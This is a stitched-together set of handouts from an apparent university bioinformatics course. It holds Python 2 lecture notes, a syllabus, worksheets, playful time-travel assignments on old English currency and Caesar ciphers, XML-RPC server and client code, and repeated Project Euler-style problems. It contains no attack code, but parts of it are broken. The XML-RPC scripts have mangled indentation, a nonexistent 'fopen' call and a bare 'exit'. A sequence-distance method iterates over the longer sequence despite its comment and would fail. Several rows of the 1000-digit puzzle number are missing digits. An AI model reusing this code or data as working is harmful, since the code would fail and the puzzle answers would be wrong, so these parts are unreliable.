Conditional Operations There has to be a way to check if a logical condition is true or false and use that result to control the operation of the program.

if  x < 0 :
    do something
elif x == 1:
    do something else
else:
    do yet another thing

Python has continue, pass and break statements but not GOTO’s

Basic Numerical and Logical Operations

+-*/ // %  ** >= == <= > < !=  and more.

Iterative Control Structures

Python has for and while loops

for a in iterable :  # an iterable is something like a list that can be iterated on
    print a

for example
for i in range(1,10):
    print i

while loops work while a condition is true
while logical statement:
    do something

for example

x = 0
while x < 100 :
    x += 1

**Input and Output:**

print x  prints the value of x
print "x equals " + x  prints "x equals " followed by the value of x

input requires knowing how to open a file (in general) but can work from a standard input (i.e. the terminal)

for line in sys.stdin :  reads every line in from the terminal (files are Iterable constructs)
line = readline (sys.stdin)  reads a line from the terminal

**Libraries:**

import sys  imports the system library
from sys import stdin  only imports stdin

**Methods :**

def amethod( an_argument, or some arguments ):
    some Python code
    return a_value

note that the size of the indents is really critical and Python will complain and not run it.
Functions can call themselves

def fib( i):
    if i <= 1:
        return 1
    return fib(i-1) + fib(i-2)

does the Fibonacci numbers (1,2,3,5,8,...)

def factorial(i):
    if i<=1 :
        return 1
    return i*factorial(i-1)
Objects - how to extend the things the language knows about (one way to look at objects is as abstract data types – that describe new things to the language)

It uses a class mechanism to define and instantiate objects. An object is a logical structure that consists of data and methods that operate on the data. An example of an object for a specific piece of data is an instance.

Python makes this really explicit (unlike C++ & Java & most other languages)

class a_class:
    def a_method_in_a_class (self, some_arguments):

If the method in the class operates on an example or instance then the first argument to the method is the data itself. (this is often referred to as self in code examples, but you can call it anything you want)

Many of the neat features of Python are objects themselves.

class clown:
    honk = False
    def horn(self):
        if self.honk:
            print “honked”
            self.honk = False
        else:
            print “not honked”
            self.honk = True

bozzo = clown()
crusty = clown()

Python knows about numbers (integers and floating point), strings, lists, tuples and dictionaries. It doesn't know about DNA or protein for example.

Let's define a class that does.

class protein:
    three_to_one = {’A’:’ALA’}
    three_to_one[’D’] = ‘ASP’
    # what the heck is going on here?
    ....
    def translate( self, c):
        return self.three_to_one[c]
class sequence:
    my_seq = ""
    my_matrix = { 'A':{ 'A':10, 'R':-1,}…} # a dictionary of dictionaries for example
    def add_value(self, a_string):
        my_seq = a_string
    def distance( self, another_sequence):
        d = 0.
        # find which is the shorter sequence
        how_much = len(self.my_seq)
        if how_much < len( another_sequence.my_seq):
            how_much = len(another_sequence.my_seq)
        for i in range(0,how_much):    #[0,…., how_much-1]
            c = self.my_matrix[ self.my_seq[i] ]
            d = d + c[ another_sequence.my_seq[i] ]
        return d

So if you're up to it.

Write a dictionary that relates codons to amino acids.

Then wrap the dictionary in a class. The class should have a translate method which returns the amino acid or stop, and a stop method which returns true if it is a stop codon.

Create an instance of the class and translate a small piece of DNA
Worksheet

Write out a Python program for number of items in a list of numbers. You can assume that there is some way of knowing that you are at the end of the list.

Write out a Python program for finding the average value of a list of numbers. (you can use the procedure you defined above).

Write out a Python program for finding the minimum value from a list of numbers.
Problems.

For each of the following problems write a Python program for the algorithm and establish its complexity.

1) Determine if an amino acid is in a sequence. That is given an input single letter code, find if it is in a sequence.
   a) Determine the position of the first instance (if there is one – what do you do if there isn’t one?)
   b) Determine the number of times the amino acid is in the sequence.
   c) Determine the length of the sequence.

2) Determine if a short sequence is completely within a longer sequence. (i.e. given the sequence ‘agtf’ find if it is in agtyag… - NOTE DO NOT MAKE YOUR CODE SPECIFIC FOR THIS PARTICULAR SEQUENCE FROM MY EXAMPLE). Give the complexity as a function of both the length of short sequence and the long sequence.

3) There is a term in an energy function that is a function of the distance between all pairs of atoms in a structure. (Actually, there are several kinds of terms – but that is a later lecture).
   a) Find the distance between two atoms.
   b) Sum the function (1./distance) overall all unique pairs of atoms. Exclude summing atoms with themselves since that would be unbounded.
Simple Python Problems

1) Input. Read a line from the terminal and echo it to the user.
2) Integer input. Read a line and convert it to an integer (if you can)
3) Leap year
   a leap year is divisible by 4, except when its divisible by 100 and not by 400.
   Write a program to tell if a year is a leap year.
4) Sum all the integers below 1000 that are multiples of 3 or 5
5) what is the largest palindrome made by the product of two three digit numbers?
6) Say
given an integer that is less than a hundred, print out the words for that integer. In other
   words, given 33 print out thirty-three. By the way don't print out “fourty” for 40.
7) Unsay.
Given a word for an integer (e.g. Thirty-three) output the integer.
8) Multiply by words.
Given two words for integers, output their product as an integer. (i.e. Three eleven outputs 33).
BIOL/CHEM/CSC8630  Advanced Bioinformatics

Four credit hours.  Spring 2016

Instructors:  Dr. Weber, Office PSC585, phone 404 413-5411, e-mail: iweber@gsu.edu
Dr. Harrison, 25 Park Place, Suite 700, Room 726, phone 404 413-5724, e-mail: rwh@gsu.edu

Lecture: Tuesday/Thursday 10:00-11:45, Room CS227
Office Hours: Tuesday 1:00-2:00 pm and by appointment for Dr. Weber; by appointment for Dr. Harrison.

Course Description: A "hands-on" approach to learning bioinformatics using PCs, the internet, and computer graphics analysis. Bioinformatics covers the analysis, correlation and extraction of information from biological databases. The course will cover aspects of software engineering and development relevant to modern bioinformatics. This course will emphasize sequence and structure databases for proteins and nucleic acids and introduce the computing skills necessary for bioinformatics. The principles involved in sequence searching and molecular modeling of macromolecules will be described. Practical examples will be given, with time for discussion. Topics include: genomic sequence, sequences and three-dimensional structures of proteins and nucleic acids, the major databases, algorithms for sequence comparison, data mining, and prediction of structure and function. Students will complete a bioinformatics team project incorporating computer programming and sequence/structure analysis.

Course Objectives: The goal of the course is to provide practical training in design and application of bioinformatics tools, specifically as applied to the sequence and structure databases for proteins and nucleic acids. Students will perform practical examples using computers and programs available in any laboratory or home setting. This course is multidisciplinary and will incorporate biology, chemistry, computer science and mathematics. This is not a trivial course and regular attendance, completion of reading, homework and written assignments is necessary for success. Students will demonstrate the ability to contribute a computer program to analyze bioinformatics information within the team project.

Grading: Each of the two mid-term exams will constitute 20% of the final grade, the project will be 40% based on meeting scheduled deadlines for software development, final demonstration and written report, and the other 20% will be based on attendance, completing the class written and computer assignments and participating in the discussions. You are allowed ONE EXCUSED (with a doctor’s note or equivalent) absence. Assignments and exams will be graded and returned in about one week. If it will take longer, we will notify you.

Nominal Grading Scale: A+ >97%, A 90-96%, A- 88-89%, B+ 86-87%, B 80-85%, B- 78-79%, C+ 76-77%, C 70-75%, C- 68-69%, D 60-67% and F 0-59%. Grades will be rounded to the nearest whole number. Note that C- is not a passing grade.

Exams: Students will be assigned seats for exams. Makeup tests and exams will not be given. If there is a disaster, an accident, or an illness a makeup test can be scheduled provided 1) the instructor is notified promptly and in advance if possible of the reason, and 2) you supply an original letter addressed to me on letterhead from a physician, hospital or relevant authority and signed by the physician, hospital administrator, or relevant authority, stating why you could not make it to the test. Missed tests and assignments will be graded as 0 (zero).
**Programming Exam (first mid-term exam):** The students are expected to develop fluency in the UNIX operating system and the Python scripting language as these will be used for the project(s). A test will be given to evaluate these skills before the withdrawal date (March 1, 2016).

If Georgia State University is closed (for example due to a weather emergency), test dates and assignment due dates will be re-scheduled on the next class day.

**Homework:** Suggested exercises will be given in class. These exercises will re-enforce the lectures and be similar to test problems. Performing them will help you get a good grade.

**Assignments:** Graded assignments will include short written reports on the literature or seminars, oral and written reports of the student’s contribution to the team project, and demonstrations of the programs or components of the team project. Written assignments and reports must be put in the correct Dropbox on D2L Brightspace. Students are responsible for complying with the University’s Policy on Academic Honesty. Students are expected to supply the answers in their own words with appropriate citations; a string of citations, however correct, will only receive partial credit.

**Academic Honesty:** All students should read and comply with the University’s Policy on Academic Honesty (Section 409), which is published in the Faculty Affairs Handbook, the On Campus: The Student Handbook, and at http://www2.gsu.edu/~wwwfhb/sec409.html.

Failure to follow the policy can result in either or both of the following: academic (grade) penalty and/or disciplinary (notation on transcript, expulsion) penalty.

All work submitted for grading must be the students’ own. Students who copy and paste other’s work without using quotation marks, students who do not cite sources, and students who do not place the citations in the text of the paper will be considered to be plagiarizing. Plagiarism will be determined by the judgment of the instructors. Plagiarism will result in a score of 0 (zero) for the work or dismissal from the course and notification of the Dean of Students. Do not allow others to copy your work since all students will receive 0 (zero). Students who copy exam answers from another student, use their cell phone during an exam, use additional resources (cheat sheet, notes on hand, etc.), or give answers to another student will be considered to be academically dishonest and will receive a zero for the exam as well as a possible disciplinary penalty.

**Absence from Class:** Students are responsible for the materials covered in class. Should a student be absent, it is their responsibility to get the notes and handouts from that lecture. Most importantly, if there is an assignment given on a missed class, it still must be handed in on the prescribed date. If there is a disaster, an accident, or an illness a makeup assignment can be scheduled provided 1) the instructor is notified promptly and in advance if possible of the reason, and 2) you supply an original letter addressed to me on letterhead from a physician, hospital or relevant authority and signed by the physician, hospital administrator, or relevant authority, stating why you could not complete the assignment.

**Accommodation for disability:** Students who wish to request accommodation for a disability may do so by registering with the Office of Disability Services. Students may only be accommodated upon issuance by the Office of Disability Services of a signed Accommodation Plan and are responsible for providing a copy of that plan to instructors of all classes in which an accommodation is sought.

**Student evaluation of course:** Your constructive assessment of this course plays an indispensable role in shaping education at Georgia State. Upon completing the course, please take time to fill out the online course evaluation.
Course website: http://asterix.cs.gsu.edu/~weber/links.html for major public databases and bioinformatics servers.

Tentative Topic Schedule

Introduction to UNIX/LINUX operating system
PYTHON programming language
Chemistry of Amino Acids
Public sequence and structure databases
Protein-ligand interactions
Molecular mechanics representation of proteins
Calculation of molecular properties.
Algorithm design
Principles of database design
Server architecture
Sequence alignment: Dynamic programming algorithm and related approaches.
Assessment of Significance in bioinformatics predictions
Prediction of function from genomic sequences
Prediction of function from sequence information
Prediction of protein structure
Prediction of function from structural models

Discussion of class projects and relevant literature will be interspersed with these topics.

Note: The course syllabus provides a general plan for the course; deviations may be necessary.
This exercise will help with strings, substrings and lists.

1) write a python program to count the number of kinds of characters in a string. You do not know in advance how many are possible. If you write this as an object using lists you can reuse it for the next part of the exercise.

2) write a python program to count the number of kinds of words in a set of sentences. You can assume words are separated by spaces.

3) write a python program to handle a fasta file. generalize it to handle a file with several sequences in the same file.

4) Write a python program to find protein sequences that have the his tag on the N-terminus. (His tag's are a sequence of 5-8 'H' residues within 3-4 residues of the start of the protein). Keep track of the different kinds of his tags. An input file will be put on the unix host, on desire to learn (pdbaanr.gz) and can be found on the web by entering 'pdbaanr' into Google.
Assignment 5 - Regency Time

RWH

due October 15 2015

This tests your python.

You find an odd DeLorean parked around the corner. Realizing that Doc Brown has left the keys in the ignition, you decide that a quick trip back to England in 1815 for the purpose of buying the film rights to Pride and Prejudice, Persuasion, and Emma would be remunerative.

As usual, the car fails and you are stranded.

All is not lost, Miss Austen (or her brother Henry, a dashing naval captain) are good company and you decide to settle in for the long haul. She needs a business manager, and having few other practical skills, you volunteer. This means understanding English currency.

Fortunately, you have your laptop, with a python interpreter, and by the use of lemon juice, copper pennies and zinc you are able to rig up a battery to keep it running.

English money is denominated in pounds shillings and pence (L/s/d). There are 12 pence to the shilling and 20 shillings to the pound. Half-pence (hapennies) and quarter-pence (farthings) are used so you must handle sums like 10/4/5 3/4

1. Write a python program that takes a list of money and sums them correctly.

   1/2/3
   2/18/9
   should sum to 4/1/0

   Leading 0’s are usually left off, so 2/6 is 2 shillings and 6 pence.

2. Make it do subtraction.

   2/18/9
   - 1/2/3 1/2
   should be 1/16/5 1/2

extra credit Crowns, 1/4 of a pound (5 shillings) and half-crowns (2/6) are in use as are Guineas (21 shillings or 1/1/0).

Modify your program to handle crowns (denoted c ) and Guineas (denoted g).

   2/15/0
   1c
   should sum to 3/0/0
This tests your python.

You find an odd DeLorean parked around the corner. Realizing that Doc Brown has left the keys in the ignition, and having not learned your lesson from last week, you decide that a quick trip back to Rome in 40 BC is in order. A few mint condition coins, and possibly a picture of Vincengetorix will be highly remunerative.

As usual, the car fails and you are stranded.

All is not lost, Julius Ceaser recruits you for his secret service as a cryptographer. Falerian wine is palatable and there are more than enough other attractions to make your life comfortable.

Fortunately, you have your laptop, with a python interpreter, and by the use of lemon juice, copper denari and zinc you are able to rig up a battery to keep it running.

1. Write a python program that takes a key (a number from 1 to 26) an input file name, and an output file name from the command line and uses the key to encrypt it with a Caesar cipher. A Caesar cipher performs modular addition of the key and the letter. If the key is 1 then a->b, b->c, ..., y->z, z->a. Ignore all the things that aren’t the letters from a to z (simply pass them through) and you will want to put the letters into lower case. Use the file message1.txt and a key of 7 to encrypt it.

2. Cato and Junius Brutus are using the cipher to encrypt their communications. In Latin as well as that vulgar Germanic language Englisc the letter ‘e’ is the most common letter. ‘t’ is the second most common. Write a python program to count the numbers of each letter in the message. (i.e. how common is each symbol) Then use that to find the key for the message. Use the file ceaser1.txt for input.

extra credit Caesar ciphers form a group. Therefore repeated encryption with any key will recover the message. Use the results from your answer to the second question to find the message. The proper decryption will be when ‘e’ is the most common letter and ‘t’ is the second most common. Use the file ceaser2.txt for input.
Libraries in Python

import os - brings in the os family of things.

os.system(“a command”) calls a command on the system

from os import system - brings in system as a command

system(“a command”) - now works.

You might want to read about the popen() family of calls that allow the program to examine the output of the command.

Python has both high-level libraries where a sequence of commonly called functions are embedded in a higher-level call, as well as low-level libraries. The best example of this is the sockets library. Including the socket library gives you access to functions like:

getfqdn() get a fully qualified domain name
htonl()
htons()
inet_aton()
socket()
connect()
bind()
recv()
send()
...

which all map (more or less) directly onto the c-level TCP/IP library.

There are then SocketServer modules that encapsulate these and can supply TCP and UDP servers.

Suppose however that you wanted to write a web-server (why not?). You could just use an overloaded instance of BaseHTTPServer. But if that’s too hard, just try SimpleHTTPServer() which doesn’t need to be overloaded to work.

A couple of libraries that you will need to know about:

xml.sax - very simple xml parser object.
sys - system query functions
smtplib, email - compose email
SimpleXMLRPCServer - respond to a remote command
This shows how my webserver calls the functions.

#!/usr/bin/python

# build the xmlrpc server
# this is what is actually called from the website
# its called via localhost which makes it harder
# for a generic external program to call it
# (this is good)
#
# it expects there to be a scheduler.py which works more or less
# the same way the single threaded version works.

from SimpleXMLRPCServer import SimpleXMLRPCServer as Server
import os
HOME = "/export/home/clusterfs/home/harrison/website/builder"
ALIGN_HOME = "/export/home/clusterfs/home/harrison/website/aligner"
the_server = Server(("localhost",8000))

def model_builder( xml_string): # xml_string  is the command data
    os.chdir(HOME)
i = 1
    while os.path.exists( hex(i)+".xml"):  
i = i+1
    filename = hex(i)+".xml"
f = open(filename,"w")
f.write( xml_string)
f.close()
    os.system("./scheduler.py "+ filename+" > log ")

def model_aligner( xml_string): # xml_string  is the command data
    os.chdir(ALIGN_HOME)
i = 1
    while os.path.exists( hex(i)+".xml"):  
i = i+1
    filename = hex(i)+".xml"
f = open(filename,"w")
f.write( xml_string)
f.close()
    os.system("./scheduler.py "+ filename+" > log ")

the_server.register_function(model_builder,'build')
the_server.register_function(model_aligner,'align')

the_server.serve_forever()
This code is what the web page calls. It parses the XML and then calls the correct function.

```python
#!/usr/bin/python
#
# just takes the input file and sends it off via xmlrpclib to a
# site which is off of the website.
#
# import of os lets us use system calls
# import of sys lets us access system parameters and stdin
# import of xml.sax lets us use the standard xml parser which is
# pretty darn good.
import os
import sys
import xml.sax

# print sys.argv[0]
# print sys.argv[1:]

# we're going to sub class the xml parser to handle our specific data
# it will set states and populate data structures that can be queried
# data that are just input files will be created with more or less
# random names
#
class content_handler(xml.sax.ContentHandler):
    current_tag = ''
    return_email = ''
    task = ''
    title = ''
    pdb_code = ''
    chain = ''
    working_output = ''
    is_fast = True
    is_stripped = False
    def startElement(me, tag, attrs):
        me.current_tag = tag
        if tag == 'model':
            me.return_email = attrs.getValueByQName('return')
            me.title = attrs.getValueByQName('title')
            me.task = 'BUILD'
            # this is a finalized method
            # if it were a stage method it would echo output here.
        return
    def get_email(me):
        return me.return_email

# below is the standard incantation for xml parsing
# we could just call the standard routine, but this is
# soooo simple that we'll just do it.
handle = content_handler()
parser = xml.sax.make_parser()
parser.setContentHandler(handle)
# parser will crash iff not called as scheduler.py <some.xml>
```
#parser.parse(sys.argv[1])
# open sys.argv[1] and read it into memory as a string then parseit.
the_file = fopen(sys.argv[1],"r")
the_data = the_file.read(-1)  # should read it all
the_file.close()

parser.parseString(the_data)

# so now we have the data, Either in a file or in memory

# idiot check for return value
# if there is not an email to return to I won't run
if handle.get_email() == '' :
    exit

# if I don't recognize the job
if handle.task == '' :
    exit

#ok if we're here its pass basic sanity checks and parses as XML
# then we can invoke the xmlrpc server to do the rest
# the xmlrpc server can be outside of the sandbox, and thus is
# invisible in detail to an outside source.

from xmlrpclib import Server

jeeves = Server('http://localhost:8000')

if handle.task == 'model':
    jeeves.build( the_data)
if handle.task == 'search':
    jeeves.align( the_data)
Problems (due 2/10/2008)

1) define a simple xml document and use sax to parse it and return values.
2) Use XMLRPC and the code from problem 1 to extract the values from the
document. You probably should use try{} to work in the presence of errors.
Python Problems Due 2/9/16

1) The four adjacent digits in the 1000-digit number that have the greatest product are $9 \times 9 \times 8 \times 9 = 5832$.

Find the thirteen adjacent digits in the 1000-digit number that have the greatest product. What is the value of this product?

2) Starting in the top left corner of a 2x2 grid, and only being able to move to the right and down, there are exactly 6 routes to the bottom right corner.

How many such routes are there through a 20x20 grid?
(hint work out a recursive method and test it on a small sample)

3) Many mathematical problems are solved in programming not precisely, but
approximately, by several computations of the result, each of which is more and more close to the goal.

Let us practice the method of approximate calculation of the square root with the following approach:

- Let us search for square root $r$ of the given value $x$.
- Use some arbitrary value, say $r = 1$ as the first approximation (surely it is too rough).
- For proper square root the equation $r = x / r$ should hold.
- So let us calculate $d = x / r$ (it would not be equal to $r$ since $r$ is not precise root).
- And take average between $r$ and $d$ as the new approximation.

E.g. overall formula of the calculation step

where $r$ is the approximate root and $x$ is what we want to find the root of

Compare the result to Math.sqrt()

Refer to Square Root Approximation article for more details on the Heron’s Method
1) The four adjacent digits in the 1000-digit number that have the greatest product are $9 \times 9 \times 8 \times 9 = 5832$.

Find the thirteen adjacent digits in the 1000-digit number that have the greatest product. What is the value of this product?

2) Starting in the top left corner of a $2 \times 2$ grid, and only being able to move to the right and down, there are exactly 6 routes to the bottom right corner.

How many such routes are there through a $20 \times 20$ grid?
(hint work out a recursive method and test it on a small sample)

3) Many mathematical problems are solved in programming not precisely, but
approximately, by several computations of the result, each of which is more and more close to the goal.

Let us practice the method of approximate calculation of the square root with the following approach:

- Let us search for square root $r$ of the given value $x$.
- Use some arbitrary value, say $r = 1$ as the first approximation (surely it is too rough).
- For proper square root the equation $r = x / r$ should hold.
- So let us calculate $d = x / r$ (it would not be equal to $r$ since $r$ is not precise root).
- And take average between $r$ and $d$ as the new approximation.

E.g. overall formula of the calculation step

where $r$ is the approximate root and $x$ is what we want to find the root of

Compare the result to Math.sqrt()

Refer to **Square Root Approximation** article for more details on the **Heron's Method**
Python Problems  Due 2/9/16

1) The four adjacent digits in the 1000-digit number that have the greatest product are $9 \times 9 \times 8 \times 9 = 5832$.

```
73167176531330624919225119674426574742355349194934
96983520312774506326239578318016984801869478851843
8586156078911294949549501737958331952853208805511
12540698747158523863050715693290963295227443043557
66896648950445244523161731856403098711121722383113
62228983423380308135336276614282806444486645238749
30358907296290491560440772390713810515859307960866
701724271218839879790879227492190169972088093776
65727333001053367881220235421809751254540594752243
52584907711670556013604839586446706324415722155397
53697817977846174064955149290862569321978468622482
8397224137565705605749026140797296865241453100474
82166370484403199890008895243450658541227588666881
16427171479924442928230863465674813919123162824586
17866458359124566529476545682848912883142607690042
24219022671055626321111109370544217506941658960408
0719840385096245544362981230987879927244284909188
84580156166097919133875499200524063689912560717606
0588611646710940507754100225698315520005593579725
71636269561882670428252483600823257530420752963450
```

Find the thirteen adjacent digits in the 1000-digit number that have the greatest product. What is the value of this product?

2) Starting in the top left corner of a 2×2 grid, and only being able to move to the right and down, there are exactly 6 routes to the bottom right corner.

```
    1
   / \
  2   3
 /   / \
4   5   6
```

How many such routes are there through a 20×20 grid?
(hint work out a recursive method and test it on a small sample)

3) Many mathematical problems are solved in programming not precisely, but
approximately, by several computations of the result, each of which is more and more close
to the goal.

Let us practice the method of approximate calculation of the square root with the following
approach:

- Let us search for square root \( r \) of the given value \( x \).
- Use some arbitrary value, say \( r = 1 \) as the first approximation (surely it is too
  rough).
- For proper square root the equation \( r = x / r \) should hold.
- So let us calculate \( d = x / r \) (it would not be equal to \( r \) since \( r \) is not precise root).
- And take average between \( r \) and \( d \) as the new approximation.

E.g. overall formula of the calculation step

where \( r \) is the approximate root and \( x \) is what we want to find the root of

Compare the result to Math.sqrt()

Refer to Square Root Approximation article for more details on the Heron's Method
Notes about algorithms and basic computer science

There is an important hierarchy in computer science.

Algorithm
Heuristic
Program Source
Program Implementation.

An algorithm is a formal, provable construct that describes a method of solving a problem or performing a task. A heuristic is a formal construct that may or may not solve a task. An algorithm can be designed that implements a heuristic to find an approximate solution. The genetic algorithm, simulated annealing and ant colony algorithms are all implementations of heuristics.

Describing an algorithm in a language like Java, C, C++ or Python results in an implementation.

An algorithm is an:

1) Ordered sequence of steps
2) Each step is effectively computable, and can include logical operations and the ability to move to another specified step.
3) Stops
4) Returns a result

Algorithms can be described in many ways.

Flow Charts:  Purely graphical, somewhat difficult to understand and non-descriptive.

Program Source:  Bound to a particular implementation. Programming languages have “housekeeping” features that do not describe the algorithm. For example in C programs need to have an “int main( int argc, char **argv)” to compile, and in Java there is the “Public Static Int main()” construct. It is also necessary to be familiar with the language to understand it. An algorithm presented in LISP, for example is clear only to people who know LISP.

Pseudocode:  Describe the steps in a loose, but formal manner. Often looks like C or Pascal. Use English sentences and equations to describe actions rather than a formal regular grammar. There is an agreed upon style, but it is not a rigorous specification. Typical pseudocode uses structured programming constructs like “for” or “foreach”.

For example here is a C/Java fragment to sum the numbers from one to ten.

```java
int i, sum;
...
sum = 0;
for( i=1; i<11; i++)
    { sum += i;}
```

Unless you know the language this is unclear, and it would be good programming style to add comments explaining what was being done and why it was being done.

In pseudocode

Procedure sum  <= a name so we can refer to it. The word ‘procedure’ is optional.

Define an integer to hold the sum, set it to zero.
For each integer from 1 to 10 add the integer to the sum

Return the value of the sum.

Is this an algorithm?

**Effectively computable operations**

What do we mean by effectively computable?

1) Defined numerical operations. (i.e. a = b+ c  or a = 0 but not a = b/0 )
2) Logical operations (i.e. is a> b ?)
3) Moving to a defined location in the program (i.e. goto step a, call procedure)

All the elements of a program can be made from these operations. See the attached worksheet for details.
Worksheet due 10/07/09

Write out the psuedocode (an ordered sequence of clearly computable steps) for number of items in a list of numbers. You can assume that there is some way of knowing that you are at the end of the list.

Write out the pseudocode for finding the average value of a list of numbers. (you can use the procedure you defined above).

Write out the pseudocode for finding the minimum value from a list of numbers.
Simple Python Problems

1) Input. Read a line from the terminal and echo it to the user.
2) Integer input. Read a line and convert it to an integer (if you can)
3) Leap year
   a leap year is divisible by 4, except when its divisible by 100 and not by 400.
   Write a program to tell if a year is a leap year.
4) Sum all the integers below 1000 that are multiples of 3 or 5
5) what is the largest palindrome made by the product of two three digit numbers?
6) Say
   given an integer that is less than a hundred, print out the words for that integer. In other words, given 33 print out thirty-three. By the way don't print out “fourty” for 40.
7) Unsay.
   Given a word for an integer (e.g. Thirty-three) output the integer.
8) Multiply by words.
   Given two words for integers, output their product as an integer. (i.e. Three eleven outputs 33).